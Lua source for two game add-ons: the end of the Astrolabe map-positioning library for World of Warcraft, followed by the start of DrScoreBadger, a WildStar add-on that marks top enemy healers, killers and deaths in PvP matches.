argcheck(xPos, 6, "number"); argcheck(yPos, 7, "number"); local M, F = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(); local nX, nY = self:TranslateWorldMapPosition(mapID, mapFloor, xPos, yPos, M, F); -- anchor and :Show() the icon if it is within the boundry of the current map, :Hide() it otherwise if ( nX and nY and (0 < nX and nX <= 1) and (0 < nY and nY <= 1) ) then icon:ClearAllPoints(); icon:SetPoint("CENTER", worldMapFrame, "TOPLEFT", nX * worldMapFrame:GetWidth(), -nY * worldMapFrame:GetHeight()); icon:Show(); else icon:Hide(); end return nX, nY; end -------------------------------------------------------------------------------------------------------------- -- Handler Scripts -------------------------------------------------------------------------------------------------------------- function Astrolabe:OnEvent( frame, event ) if ( event == "MINIMAP_UPDATE_ZOOM" ) then -- update minimap zoom scale local Minimap = self.Minimap; local curZoom = Minimap:GetZoom(); if ( GetCVar("minimapZoom") == GetCVar("minimapInsideZoom") ) then if ( curZoom < 2 ) then Minimap:SetZoom(curZoom + 1); else Minimap:SetZoom(curZoom - 1); end end if ( GetCVar("minimapZoom")+0 == Minimap:GetZoom() ) then self.minimapOutside = true; else self.minimapOutside = false; end Minimap:SetZoom(curZoom); -- re-calculate all Minimap Icon positions if ( frame:IsVisible() ) then self:CalculateMinimapIconPositions(true); end elseif ( event == "PLAYER_LEAVING_WORLD" ) then frame:Hide(); -- yes, I know this is redunant self:RemoveAllMinimapIcons(); --dump all minimap icons -- TODO: when I uncouple the point buffer from Minimap drawing, -- I should consider updating LastPlayerPosition here elseif ( event == "PLAYER_ENTERING_WORLD" ) then frame:Show(); if not ( frame:IsVisible() ) then -- do the minimap recalculation anyways if the OnShow script didn't execute -- this is done to ensure the accuracy of information about icons that were -- inserted while the Player was in the process of zoning self:CalculateMinimapIconPositions(true); end elseif ( event == "ZONE_CHANGED_NEW_AREA" ) then frame:Hide(); frame:Show(); end end function Astrolabe:OnUpdate( frame, elapsed ) -- on-edge group changed call-backs if ( self.IconsOnEdgeChanged ) then self.IconsOnEdgeChanged = false; for func in pairs(self.IconsOnEdge_GroupChangeCallbacks) do pcall(func); end end self:UpdateMinimapIconPositions(); end function Astrolabe:OnShow( frame ) -- set the world map to a zoom with a valid player position if not ( self.WorldMapVisible ) then SetMapToCurrentZone(); end local M, F = Astrolabe:GetCurrentPlayerPosition(); if not ( M and M >= 0 ) then frame:Hide(); return end -- re-calculate minimap icon positions (if needed) if ( next(self.MinimapIcons) ) then self:CalculateMinimapIconPositions(true); else -- needed so that the cycle doesn't overwrite an updated LastPlayerPosition resetIncrementalUpdate = true; end if ( self.MinimapIconCount <= 0 ) then -- no icons left to manage frame:Hide(); end end function Astrolabe:OnHide( frame ) -- dump the new icons cache here -- a full update will performed the next time processing is re-actived self:DumpNewIconsCache() end -- called by AstrolabMapMonitor when all world maps are hidden function Astrolabe:AllWorldMapsHidden() if ( IsLoggedIn() ) then self.processingFrame:Hide(); self.processingFrame:Show(); end end -------------------------------------------------------------------------------------------------------------- -- Library Registration -------------------------------------------------------------------------------------------------------------- local HARVESTED_DATA_VERSION = 3; -- increment this when the format of the harvested data has to change local function harvestMapData( HarvestedMapData ) local mapData = {} local mapName = GetMapInfo(); local mapID = GetCurrentMapAreaID(); local numFloors = GetNumDungeonMapLevels(); mapData.mapName = mapName; mapData.cont = (GetCurrentMapContinent()) or -100; mapData.zone = (GetCurrentMapZone()) or -100; mapData.numFloors = numFloors; local _, TLx, TLy, BRx, BRy = GetCurrentMapZone(); if ( TLx and TLy and BRx and BRy and (TLx~=0 or TLy~=0 or BRx~=0 or BRy~=0) ) then mapData[0] = {}; mapData[0].TLx = TLx; mapData[0].TLy = TLy; mapData[0].BRx = BRx; mapData[0].BRy = BRy; end if ( not mapData[0] and numFloors == 0 and (GetCurrentMapDungeonLevel()) == 1 ) then numFloors = 1; mapData.hiddenFloor = true; end if ( numFloors > 0 ) then for f = 1, numFloors do SetDungeonMapLevel(f); local _, TLx, TLy, BRx, BRy = GetCurrentMapDungeonLevel(); if ( TLx and TLy and BRx and BRy ) then mapData[f] = {}; mapData[f].TLx = TLx; mapData[f].TLy = TLy; mapData[f].BRx = BRx; mapData[f].BRy = BRy; end end end HarvestedMapData[mapID] = mapData; end local function activate( newInstance, oldInstance ) if ( oldInstance ) then -- this is an upgrade activate -- print upgrade debug info local _, oldVersion = oldInstance:GetVersion(); printError("Upgrading "..LIBRARY_VERSION_MAJOR.." from version "..oldVersion.." to version "..LIBRARY_VERSION_MINOR); if ( oldInstance.DumpNewIconsCache ) then oldInstance:DumpNewIconsCache() end for k, v in pairs(oldInstance) do if ( type(v) ~= "function" and (not configConstants[k]) ) then newInstance[k] = v; end end -- sync up the current MinimapIconCount value local iconCount = 0 for _ in pairs(newInstance.MinimapIcons) do iconCount = iconCount + 1 end newInstance.MinimapIconCount = iconCount -- explicity carry over our Minimap reference, or create it if we don't already have one newInstance.Minimap = oldInstance.Minimap or _G.Minimap Astrolabe = oldInstance; else newInstance.Minimap = _G.Minimap local frame = CreateFrame("Frame"); newInstance.processingFrame = frame; end configConstants = nil -- we don't need this anymore if not ( oldInstance and oldInstance.HarvestedMapData.VERSION == HARVESTED_DATA_VERSION ) then newInstance.HarvestedMapData = { VERSION = HARVESTED_DATA_VERSION }; local HarvestedMapData = newInstance.HarvestedMapData; local continents = {GetMapContinents()}; newInstance.ContinentList = {}; for C = 1, (#continents / 2) do local zones = {GetMapZones(C)}; newInstance.ContinentList[C] = {}; SetMapZoom(C); harvestMapData(HarvestedMapData); local contZoneList = newInstance.ContinentList[C]; contZoneList[0] = continents[C*2 - 1]; for Z = 1, (#zones / 2) do contZoneList[Z] = zones[Z*2 - 1]; SetMapByID(contZoneList[Z]); harvestMapData(HarvestedMapData); end end for _, id in ipairs(GetAreaMaps()) do if not ( HarvestedMapData[id] ) then if ( SetMapByID(id) ) then harvestMapData(HarvestedMapData); end end end end local Minimap = newInstance.Minimap local frame = newInstance.processingFrame; frame:Hide(); frame:SetParent(Minimap); frame:UnregisterAllEvents(); frame:RegisterEvent("MINIMAP_UPDATE_ZOOM"); frame:RegisterEvent("PLAYER_LEAVING_WORLD"); frame:RegisterEvent("PLAYER_ENTERING_WORLD"); frame:RegisterEvent("ZONE_CHANGED_NEW_AREA"); frame:SetScript("OnEvent", function( frame, event, ... ) Astrolabe:OnEvent(frame, event, ...); end ); frame:SetScript("OnUpdate", function( frame, elapsed ) Astrolabe:OnUpdate(frame, elapsed); end ); frame:SetScript("OnShow", function( frame ) Astrolabe:OnShow(frame); end ); frame:SetScript("OnHide", function( frame ) Astrolabe:OnHide(frame); end ); setmetatable(Astrolabe.MinimapIcons, MinimapIconsMetatable) end DongleStub:Register(Astrolabe, activate) -------------------------------------------------------------------------------------------------------------- -- Data -------------------------------------------------------------------------------------------------------------- -- diameter of the Minimap in game yards at -- the various possible zoom levels MinimapSize = { indoor = { [0] = 300, -- scale [1] = 240, -- 1.25 [2] = 180, -- 5/3 [3] = 120, -- 2.5 [4] = 80, -- 3.75 [5] = 50, -- 6 }, outdoor = { [0] = 466 + 2/3, -- scale [1] = 400, -- 7/6 [2] = 333 + 1/3, -- 1.4 [3] = 266 + 2/6, -- 1.75 [4] = 200, -- 7/3 [5] = 133 + 1/3, -- 3.5 }, } ValidMinimapShapes = { -- { upper-left, lower-left, upper-right, lower-right } ["SQUARE"] = { false, false, false, false }, ["CORNER-TOPLEFT"] = { true, false, false, false }, ["CORNER-TOPRIGHT"] = { false, false, true, false }, ["CORNER-BOTTOMLEFT"] = { false, true, false, false }, ["CORNER-BOTTOMRIGHT"] = { false, false, false, true }, ["SIDE-LEFT"] = { true, true, false, false }, ["SIDE-RIGHT"] = { false, false, true, true }, ["SIDE-TOP"] = { true, false, true, false }, ["SIDE-BOTTOM"] = { false, true, false, true }, ["TRICORNER-TOPLEFT"] = { true, true, true, false }, ["TRICORNER-TOPRIGHT"] = { true, false, true, true }, ["TRICORNER-BOTTOMLEFT"] = { true, true, false, true }, ["TRICORNER-BOTTOMRIGHT"] = { false, true, true, true }, } -- distances across and offsets of the world maps -- in game yards WorldMapSize = { [0] = { height = 22266.74312, system = -1, width = 33400.121, xOffset = 0, yOffset = 0, [1] = { xOffset = -10311.71318, yOffset = -19819.33898, scale = 0.56089997291565, }, [0] = { xOffset = -48226.86993, yOffset = -16433.90283, scale = 0.56300002336502, }, [571] = { xOffset = -29750.89905, yOffset = -11454.50802, scale = 0.5949000120163, }, [870] = { xOffset = -27693.71178, yOffset = -29720.0585, scale = 0.65140002965927, }, }, } MicroDungeonSize = {} -- SetMapByID does not work for mapID 971 or 976 during the first UI load since the client was started, so we have to hardcode their information. local HARDCODED_MAP_INFORMATION = { [971] = { ["mapName"] = "garrisonsmvalliance", ["cont"] = 7, ["zone"] = 7, ["numFloors"] = 0, [0] = {}, }, [976] = { ["mapName"] = "garrisonffhorde", ["cont"] = 7, ["zone"] = 3, ["numFloors"] = 0, [0] = {}, }, } -- Distribute data from hardcoding to their maps for mapID, data in pairs(HARDCODED_MAP_INFORMATION) do -- Only distribute the information if we didn't get it through other means if ( not Astrolabe.HarvestedMapData[mapID] ) then -- Copy table contents Astrolabe.HarvestedMapData[mapID] = {} Astrolabe.HarvestedMapData[mapID].mapName = data.mapName Astrolabe.HarvestedMapData[mapID].cont = data.cont Astrolabe.HarvestedMapData[mapID].zone = data.zone Astrolabe.HarvestedMapData[mapID].numFloors = data.numFloors Astrolabe.HarvestedMapData[mapID].hiddenFloor = data.hiddenFloor Astrolabe.HarvestedMapData[mapID][0] = {} -- While these mapIDs are not accessible by most of the API, we -can- get base floor coordinate info, so we don't have to hardcode that. local _, _, _, TLx, BRx, TLy, BRy, _, _, _ = GetAreaMapInfo(mapID) Astrolabe.HarvestedMapData[mapID][0].TLx = TLx Astrolabe.HarvestedMapData[mapID][0].TLy = TLy Astrolabe.HarvestedMapData[mapID][0].BRx = BRx Astrolabe.HarvestedMapData[mapID][0].BRy = BRy end end -- worldMapIDs who have the bit 2 flag set cannot be displayed via SetMapByID and therefore will get no information from the above code. -- We work around this by remapping them where possible since their characteristics usually are based off another worldMapID anyway. local MAPS_TO_REMAP = { [19] = {992}, -- BlastedLands_terrain1 = BlastedLands [141] = {907}, -- Dustwallow = Dustwallow_terrain1 [544] = {681, 682}, -- TheLostIsles = TheLostIsles_terrain1, TheLostIsles_terrain2 [606] = {683}, -- Hyjal = Hyjal_terrain1 [700] = {770}, -- TwilightHighlands = TwilightHighlands_terrain1 [720] = {748}, -- Uldum = Uldum_terrain1 [857] = {910}, -- Krasarang = Krasarang_terrain1 [971] = {973, 974, 975, 991}, -- garrisonsmvalliance = garrisonsmvalliance_tier1, garrisonsmvalliance_tier3, garrisonsmvalliance_tier4, garrisonsmvalliance_tier2 [976] = {980, 981, 982, 990}, -- garrisonffhorde = garrisonffhorde_tier1, garrisonffhorde_tier3, garrisonffhorde_tier4, garrisonffhorde_tier2 } -- Distribute data from valid maps to maps needing remapping for validMapID, remapMapIDs in pairs(MAPS_TO_REMAP) do for _, currentRemapMapID in pairs(remapMapIDs) do if ( Astrolabe.HarvestedMapData[validMapID] and not Astrolabe.HarvestedMapData[currentRemapMapID] ) then -- Speed up accesses local oldTable = Astrolabe.HarvestedMapData[validMapID] Astrolabe.HarvestedMapData[currentRemapMapID] = {} local newTable = Astrolabe.HarvestedMapData[currentRemapMapID] -- Copy table contents newTable.mapName = oldTable.mapName newTable.cont = oldTable.cont newTable.zone = oldTable.zone newTable.numFloors = oldTable.numFloors newTable.hiddenFloor = oldTable.hiddenFloor -- Copy floors if ( oldTable.numFloors ) then for f = 0, oldTable.numFloors do if ( oldTable[f] and oldTable[f].TLx and oldTable[f].TLy and oldTable[f].BRx and oldTable[f].BRy ) then newTable[f] = {} newTable[f].TLx = oldTable[f].TLx newTable[f].TLy = oldTable[f].TLy newTable[f].BRx = oldTable[f].BRx newTable[f].BRy = oldTable[f].BRy end end end end end end -------------------------------------------------------------------------------------------------------------- -- Internal Data Table Setup -------------------------------------------------------------------------------------------------------------- -- Map Data API Flag Fields -- -- GetAreaMapInfo - flags local WORLDMAPAREA_DEFAULT_DUNGEON_FLOOR_IS_TERRAIN = 0x00000004 local WORLDMAPAREA_VIRTUAL_CONTINENT = 0x00000008 -- GetDungeonMapInfo - flags local DUNGEONMAP_MICRO_DUNGEON = 0x00000001 -- Zero Data Table -- Used to prevent runtime Lua errors due to missing data local function zeroDataFunc(tbl, key) if ( type(key) == "number" ) then return zeroData; else return rawget(zeroData, key); end end zeroData = { xOffset = 0, height = 1, yOffset = 0, width = 1, __index = zeroDataFunc }; setmetatable(zeroData, zeroData); -- get data on useful transforms local TRANSFORMS = {} for _, ID in ipairs(GetWorldMapTransforms()) do local terrainMapID, newTerrainMapID, _, _, transformMinY, transformMaxY, transformMinX, transformMaxX, offsetY, offsetX = GetWorldMapTransformInfo(ID) if ( offsetX ~= 0 or offsetY ~= 0 ) then TRANSFORMS[ID] = { terrainMapID = terrainMapID, newTerrainMapID = newTerrainMapID, BRy = -transformMinY, TLy = -transformMaxY, BRx = -transformMinX, TLx = -transformMaxX, offsetY = offsetY, offsetX = offsetX, } end end --remove this temporarily local harvestedDataVersion = Astrolabe.HarvestedMapData.VERSION Astrolabe.HarvestedMapData.VERSION = nil for mapID, harvestedData in pairs(Astrolabe.HarvestedMapData) do local terrainMapID, _, _, _, _, _, _, _, _, flags = GetAreaMapInfo(mapID) local originSystem = terrainMapID; local mapData = WorldMapSize[mapID]; if not ( mapData ) then mapData = {}; end if ( harvestedData.numFloors > 0 or harvestedData.hiddenFloor ) then for f, harvData in pairs(harvestedData) do if ( type(f) == "number" and f > 0 ) then if not ( mapData[f] ) then mapData[f] = {}; end local floorData = mapData[f] local TLx, TLy, BRx, BRy = -harvData.BRx, -harvData.BRy, -harvData.TLx, -harvData.TLy if not ( TLx < BRx ) then printError("Bad x-axis Orientation (Floor): ", mapID, f, TLx, BRx); end if not ( TLy < BRy) then printError("Bad y-axis Orientation (Floor): ", mapID, f, TLy, BRy); end if not ( floorData.width ) then floorData.width = BRx - TLx end if not ( floorData.height ) then floorData.height = BRy - TLy end if not ( floorData.xOffset ) then floorData.xOffset = TLx end if not ( floorData.yOffset ) then floorData.yOffset = TLy end end end for f = 1, harvestedData.numFloors do if not ( mapData[f] ) then if ( f == 1 and harvestedData[0] and harvestedData[0].TLx and harvestedData[0].TLy and harvestedData[0].BRx and harvestedData[0].BRy and band(flags, WORLDMAPAREA_DEFAULT_DUNGEON_FLOOR_IS_TERRAIN) == WORLDMAPAREA_DEFAULT_DUNGEON_FLOOR_IS_TERRAIN ) then -- handle dungeon maps which use zone level data for the first floor mapData[f] = {}; local floorData = mapData[f] local harvData = harvestedData[0] local TLx, TLy, BRx, BRy = -harvData.TLx, -harvData.TLy, -harvData.BRx, -harvData.BRy if not ( TLx < BRx ) then printError("Bad x-axis Orientation (Floor from Zone): ", mapID, f, TLx, BRx); end if not ( TLy < BRy) then printError("Bad y-axis Orientation (Floor from Zone): ", mapID, f, TLy, BRy); end floorData.width = BRx - TLx floorData.height = BRy - TLy floorData.xOffset = TLx floorData.yOffset = TLy else printError(("Astrolabe is missing data for %s [%d], floor %d."):format(harvestedData.mapName, mapID, f)); end end end if ( harvestedData.hiddenFloor ) then mapData.width = mapData[1].width mapData.height = mapData[1].height mapData.xOffset = mapData[1].xOffset mapData.yOffset = mapData[1].yOffset end else local harvData = harvestedData[0] if ( harvData ~= nil ) then local TLx, TLy, BRx, BRy = -harvData.TLx, -harvData.TLy, -harvData.BRx, -harvData.BRy -- apply any necessary transforms for transformID, transformData in pairs(TRANSFORMS) do if ( transformData.terrainMapID == terrainMapID ) then if ( (transformData.TLx < TLx and BRx < transformData.BRx) and (transformData.TLy < TLy and BRy < transformData.BRy) ) then TLx = TLx - transformData.offsetX; BRx = BRx - transformData.offsetX; BRy = BRy - transformData.offsetY; TLy = TLy - transformData.offsetY; terrainMapID = transformData.newTerrainMapID; break; end end end if not ( TLx==0 and TLy==0 and BRx==0 and BRy==0 ) then if not ( TLx < BRx ) then printError("Bad x-axis Orientation (Zone): ", mapID, TLx, BRx); end if not ( TLy < BRy) then printError("Bad y-axis Orientation (Zone): ", mapID, TLy, BRy); end end if not ( mapData.width ) then mapData.width = BRx - TLx end if not ( mapData.height ) then mapData.height = BRy - TLy end if not ( mapData.xOffset ) then mapData.xOffset = TLx end if not ( mapData.yOffset ) then mapData.yOffset = TLy end else if ( mapID == 751 ) then -- okay, this is Maelstrom continent else printError("Astrolabe harvested a map with no data at all: ", mapID) end end end -- if we don't have any data, we're gonna use zeroData, but we also need to -- setup the system and systemParent IDs so things don't get confused if not ( next(mapData, nil) ) then mapData = { xOffset = 0, height = 1, yOffset = 0, width = 1 }; -- if this is an outside continent level or world map then throw up an extra warning if ( harvestedData.cont > 0 and harvestedData.zone == 0 and not (band(flags, WORLDMAPAREA_VIRTUAL_CONTINENT) == WORLDMAPAREA_VIRTUAL_CONTINENT) ) then printError(("Astrolabe is missing data for world map %s [%d] (%d, %d)."):format(harvestedData.mapName, mapID, harvestedData.cont, harvestedData.zone)); end end if not ( mapData.originSystem ) then mapData.originSystem = originSystem; end -- store the data in the WorldMapSize DB WorldMapSize[mapID] = mapData; if ( mapData and mapData ~= zeroData ) then -- setup system IDs if not ( mapData.system ) then mapData.system = terrainMapID; end -- determine terrainMapID for micro-dungeons if ( harvestedData.cont > 0 and harvestedData.zone > 0 ) then MicroDungeonSize[terrainMapID] = {} end setmetatable(mapData, zeroData); end end -- put the version back Astrolabe.HarvestedMapData.VERSION = harvestedDataVersion -- micro dungeons for _, ID in ipairs(GetDungeonMaps()) do local floorIndex, minX, maxX, minY, maxY, terrainMapID, parentWorldMapID, flags = GetDungeonMapInfo(ID); if ( (WorldMapSize[parentWorldMapID] and not WorldMapSize[parentWorldMapID][floorIndex]) or (band(flags, DUNGEONMAP_MICRO_DUNGEON) == DUNGEONMAP_MICRO_DUNGEON) ) then local TLx, TLy, BRx, BRy = -maxX, -maxY, -minX, -minY -- apply any necessary transforms local transformApplied = false for transformID, transformData in pairs(TRANSFORMS) do if ( transformData.terrainMapID == terrainMapID ) then if ( (transformData.TLx < TLx and BRx < transformData.BRx) and (transformData.TLy < TLy and BRy < transformData.BRy) ) then TLx = TLx - transformData.offsetX; BRx = BRx - transformData.offsetX; BRy = BRy - transformData.offsetY; TLy = TLy - transformData.offsetY; transformApplied = true; break; end end end if ( MicroDungeonSize[terrainMapID] ) then -- only consider systems that can have micro dungeons if ( MicroDungeonSize[terrainMapID][floorIndex] ) then printError("Astrolabe detected a duplicate microdungeon floor!", terrainMapID, ID); end MicroDungeonSize[terrainMapID][floorIndex] = { width = BRx - TLx, height = BRy - TLy, xOffset = TLx, yOffset = TLy, }; end end end -- done with Transforms data TRANSFORMS = nil -- Note: There is a potential bug that could come up here in the future. -- Example: ingame API returns mapID 857 floor 2 for a micro dungeon, while GetDungeonMapInfo lists the mapID as 910. -- Because Astrolabe sets up micro dungeon data using originSystems, there is no issue (857 and 910 share an originSystem) with any data at this point in time (Patch 6.1). -- However, the issue could surface in the future if Blizzard mislabeled an originSystem, hence the note placed here. for _, data in pairs(MicroDungeonSize) do setmetatable(data, zeroData); end setmetatable(MicroDungeonSize, zeroData); -- make sure we don't have any EXTRA data hanging around for mapID, mapData in pairs(WorldMapSize) do if ( mapID ~= 0 and getmetatable(mapData) ~= zeroData ) then printError("Astrolabe has hard coded data for an invalid map ID", mapID); end end setmetatable(WorldMapSize, zeroData); -- setup the metatable so that invalid map IDs don't cause Lua errors -- register this library with AstrolabeMapMonitor, this will cause a full update if PLAYER_LOGIN has already fired local AstrolabeMapMonitor = DongleStub("AstrolabeMapMonitor"); AstrolabeMapMonitor:RegisterAstrolabeLibrary(Astrolabe, LIBRARY_VERSION_MAJOR);
----------------------------------------------------------------------------------------------- -- Client Lua Script for DrScoreBadger -- Copyright (c) NCsoft. All rights reserved ----------------------------------------------------------------------------------------------- require "Window" ----------------------------------------------------------------------------------------------- -- DrScoreBadger Module Definition ----------------------------------------------------------------------------------------------- local DrScoreBadger = {} local tRaceHeadHeight = { [0] = 3, [GameLib.CodeEnumRace.Human] = 2.1, [GameLib.CodeEnumRace.Granok] = 3, [GameLib.CodeEnumRace.Aurin] = 1.8, [GameLib.CodeEnumRace.Draken] = 2.3, [GameLib.CodeEnumRace.Mechari] = 2.85, [GameLib.CodeEnumRace.Mordesh] = 2.75, [GameLib.CodeEnumRace.Chua] = 1.35, } local healSprites = {"plus", "plus1", "plus2", "plus3", "plus4"} local killsSprites = {"king", "king1", "king2", "king3", "king4"} local deathsSprites = {"turd", "turd1", "turd2", "turd3", "turd4"} ----------------------------------------------------------------------------------------------- -- Initialization ----------------------------------------------------------------------------------------------- function DrScoreBadger:new(o) o = o or {} setmetatable(o, self) self.__index = self self.options = {} self.options.bShowHealers = true self.options.bShowScorers = true self.options.bShowTurds = true self.options.nNumDamage = 3 self.options.nNumKills = 3 self.options.nNumDeaths = 3 self.options.opacity = 60 self.options.size = 60 self.options.height = 100 self.options.healSprite = 3 self.options.killsSprite = 3 self.options.deathsSprite = 4 self.bTesting = false return o end function DrScoreBadger:Init() local bHasConfigureFunction = true local strConfigureButtonText = "drScoreBadger" local tDependencies = {} Apollo.RegisterAddon(self, bHasConfigureFunction, strConfigureButtonText, tDependencies) end ----------------------------------------------------------------------------------------------- -- DrScoreBadger OnLoad ----------------------------------------------------------------------------------------------- function DrScoreBadger:OnLoad() Apollo.LoadSprites("drScoreBadgerSprites.xml", "drScoreBadgerSprites") self.xmlDoc = XmlDoc.CreateFromFile("drScoreBadger.xml") self.xmlDoc:RegisterCallback("OnDocLoaded", self) end ----------------------------------------------------------------------------------------------- -- DrScoreBadger OnDocLoaded ----------------------------------------------------------------------------------------------- function DrScoreBadger:OnDocLoaded() if self.xmlDoc ~= nil and self.xmlDoc:IsLoaded() then self.wndMain = Apollo.LoadForm(self.xmlDoc, "DrScoreBadgerHUD", "InWorldHudStratum", self) if self.wndMain == nil then Apollo.AddAddonErrorText(self, "Could not load the HUD window for some reason.") return end self.wndMain:Show(true, true) self.wndOpts = Apollo.LoadForm(self.xmlDoc, "DrScoreBadgerOptions", nil, self) if self.wndOpts == nil then Apollo.AddAddonErrorText(self, "Could not load the settings window for some reason.") return end self.wndOpts:Show(false, true) Apollo.RegisterSlashCommand("drsb", "OnConfigure", self) end Apollo.RegisterEventHandler("PublicEventStart", "OnPublicEventStart", self) Apollo.RegisterEventHandler("PublicEventLiveStatsUpdate", "OnPublicEventStart", self) Apollo.RegisterEventHandler("MatchEntered", "OnMatchEntered", self) Apollo.RegisterEventHandler("MatchExited", "OnMatchExited", self) Apollo.RegisterEventHandler("NextFrame", "OnNextFrame", self) Apollo.RegisterEventHandler("TargetUnitChanged", "OnTargetUnitChanged", self) end ----------------------------------------------------------------------------------------------- -- DrScoreBadger Functions ----------------------------------------------------------------------------------------------- function DrScoreBadger:OnSave(eLevel) if eLevel ~= GameLib.CodeEnumAddonSaveLevel.Character then return nil end ret = {} for k,v in pairs(self.options) do ret[k] = v end return ret end function DrScoreBadger:OnRestore(eLevel, tData) for k,v in pairs(tData) do self.options[k] = v end end function DrScoreBadger:OnPublicEventStart(peEvent) tStats = peEvent:GetLiveStats() if tStats == nil or tStats.arTeamStats == nil or #tStats.arTeamStats < 2 then return end myTeam = tStats.arTeamStats[1].bIsMyTeam and tStats.arTeamStats[1].strTeamName or tStats.arTeamStats[2].strTeamName enemies = filter_a(tStats.arParticipantStats, function(player) return player.strTeamName ~= myTeam end) self.healers = filter_a(enemies, function(player) return player.nHealed > player.nDamage and (player.eClass == GameLib.CodeEnumClass.Esper or player.eClass == GameLib.CodeEnumClass.Medic or player.eClass == GameLib.CodeEnumClass.Spellslinger) end) self.topKillers = filter_a(topK(enemies, self.options.nNumKills, function(p1, p2) return p2.nKills < p1.nKills end), function(player) return player.nKills > 0 end) self.topDamagers = filter_a(topK(enemies, self.options.nNumDamage, function(p1, p2) return p2.nDamage < p1.nDamage end), function(player) return player.nDamage > 0 end) self.topDeaths = filter_a(topK(enemies, self.options.nNumDeaths, function(p1, p2) return p2.nDeaths < p1.nDeaths end), function(player) return player.nDeaths > 0 end) end function DrScoreBadger:OnMatchEntered() self.healers = nil self.topKillers = nil self.topDamagers = nil self.topDeaths = nil end function DrScoreBadger:OnMatchExited() self.healers = nil self.topKillers = nil self.topDamagers = nil self.topDeaths = nil end function DrScoreBadger:OnNextFrame() self.wndMain:DestroyAllPixies() if self.options.bShowHealers then self:DrawPixies(self.healers, self:GetHealSprite()) end if self.options.bShowScorers then self:DrawPixies(self.topKillers, self:GetKillsSprite()) self:DrawPixies(self.topDamagers, self:GetKillsSprite()) end if self.options.bShowTurds then self:DrawPixies(self.topDeaths, self:GetDeathsSprite()) end if self.bTesting then if self.targetUnit == nil then self.targetUnit = GameLib.GetTargetUnit() end if self.targetUnit ~= nil then self:DrawPixies({{unitParticipant=self.targetUnit, strName=self.targetUnit:GetName()}}, self.testSprite) end end end function DrScoreBadger:DrawPixies(players, spriteName) if players ~= nil then for _, player in pairs(players) do unit = player.unitParticipant if unit == nil then unit = GameLib.GetPlayerUnitByName(player.strName) end if unit ~= nil then head_height = tRaceHeadHeight[unit:GetRaceId() or 0] if unit:IsMounted() then head_height = head_height * 1.5 end -- [0, 100] => [-0.2*h, 2*h] badge_height = (self.options.height / 100 * 2.2 - 0.2) * head_height height3 = Vector3.New(0, badge_height, 0) pos3 = unit:GetPosition() if pos3 ~= nil then screen3 = GameLib.WorldLocToScreenPoint(Vector3.New(pos3.x, pos3.y, pos3.z) + height3) offset = self.options.size / 2 if not isOccluded(unit) then self.wndMain:AddPixie({strSprite = spriteName, cr = opacityColor(self.options.opacity), loc = {fPoints = {0, 0, 0, 0}, nOffsets = {screen3["x"] - offset, screen3["y"] - offset, screen3["x"] + offset, screen3["y"] + offset}}}) end end end end end end function DrScoreBadger:UpdateOptionsPixies() size = 50 self.wndOpts:DestroyAllPixies() self.wndOpts:AddPixie({strSprite = self:GetHealSprite(), loc = {fPoints = {0, 0, 0, 0}, nOffsets = {56, 106, 56 + size, 106 + size}}}) self.wndOpts:AddPixie({strSprite = self:GetKillsSprite(), loc = {fPoints = {0, 0, 0, 0}, nOffsets = {56, 199, 56 + size, 199 + size}}}) self.wndOpts:AddPixie({strSprite = self:GetDeathsSprite(), loc = {fPoints = {0, 0, 0, 0}, nOffsets = {56, 298, 56 + size, 298 + size}}}) end function DrScoreBadger:OnTargetUnitChanged(unit) self.targetUnit = unit end function DrScoreBadger:GetHealSprite() return "drScoreBadgerSprites:" .. healSprites[self.options.healSprite] end function DrScoreBadger:GetKillsSprite() return "drScoreBadgerSprites:" .. killsSprites[self.options.killsSprite] end function DrScoreBadger:GetDeathsSprite() return "drScoreBadgerSprites:" .. deathsSprites[self.options.deathsSprite] end ----------------------------------------------------------------------------------------------- -- Helper Functions ----------------------------------------------------------------------------------------------- function isOccluded(unit) pos = GameLib.GetUnitScreenPosition(unit) return unit:IsDead() or pos == nil or not pos.bOnScreen or (not unit:IsMounted() and unit:IsOccluded()) or (unit:IsMounted() and unit:GetUnitMount():IsOccluded()) end function opacityColor(opacity) o = opacity/100 * 255 return string.format("%02x", o) .. "FFFFFF" end function topK(t, n, cmp) table.sort(t, cmp) ret = {} for i = 1,n do if i > #t then return ret end ret[#ret+1] = t[i] end return ret end function filter_a(t, pred) ret = {} for _, v in pairs(t) do if pred(v) then ret[#ret + 1] = v end end return ret end ----------------------------------------------------------------------------------------------- -- DrScoreBadgerOptionsForm Functions ----------------------------------------------------------------------------------------------- function DrScoreBadger:OnConfigure() self.wndOpts:FindChild("drawHealers"):SetCheck(self.options.bShowHealers) self.wndOpts:FindChild("drawScorers"):SetCheck(self.options.bShowScorers) self.wndOpts:FindChild("drawDeaths"):SetCheck(self.options.bShowTurds) self.wndOpts:FindChild("damagePlayers"):SetText(tostring(self.options.nNumDamage)) self.wndOpts:FindChild("killsPlayers"):SetText(tostring(self.options.nNumKills)) self.wndOpts:FindChild("deathsPlayers"):SetText(tostring(self.options.nNumDeaths)) self.wndOpts:FindChild("opacitySliderBar"):SetValue(self.options.opacity) self.wndOpts:FindChild("sizeSliderBar"):SetValue(self.options.size) self.wndOpts:FindChild("heightSliderBar"):SetValue(self.options.height) self.prevOpacity = self.options.opacity self.prevSize = self.options.size self.prevHeight = self.options.height self.prevHealSprite = self.options.healSprite self.prevKillsSprite = self.options.killsSprite self.prevDeathsSprite = self.options.deathsSprite self.bTesting = false self.wndOpts:FindChild("testSettings"):SetText("Test Settings on current target") self.testSprite = self:GetHealSprite() self:UpdateOptionsPixies() self.wndOpts:Invoke() end function DrScoreBadger:OnOK() self.options.bShowHealers = self.wndOpts:FindChild("drawHealers"):IsChecked() self.options.bShowScorers = self.wndOpts:FindChild("drawScorers"):IsChecked() self.options.bShowTurds = self.wndOpts:FindChild("drawDeaths"):IsChecked() self.options.nNumDamage = tonumber(self.wndOpts:FindChild("damagePlayers"):GetText()) or 3 self.options.nNumKills = tonumber(self.wndOpts:FindChild("killsPlayers"):GetText()) or 3 self.options.nNumDeaths = tonumber(self.wndOpts:FindChild("deathsPlayers"):GetText()) or 3 self.options.opacity = self.wndOpts:FindChild("opacitySliderBar"):GetValue() self.options.size = self.wndOpts:FindChild("sizeSliderBar"):GetValue() self.options.height = self.wndOpts:FindChild("heightSliderBar"):GetValue() self.bTesting = false self.wndOpts:Close() end function DrScoreBadger:OnCancel() self.options.opacity = self.prevOpacity self.options.size = self.prevSize self.options.height = self.prevHeight self.options.healSprite = self.prevHealSprite self.options.killsSprite = self.prevKillsSprite self.options.deathsSprite = self.prevDeathsSprite self.bTesting = false 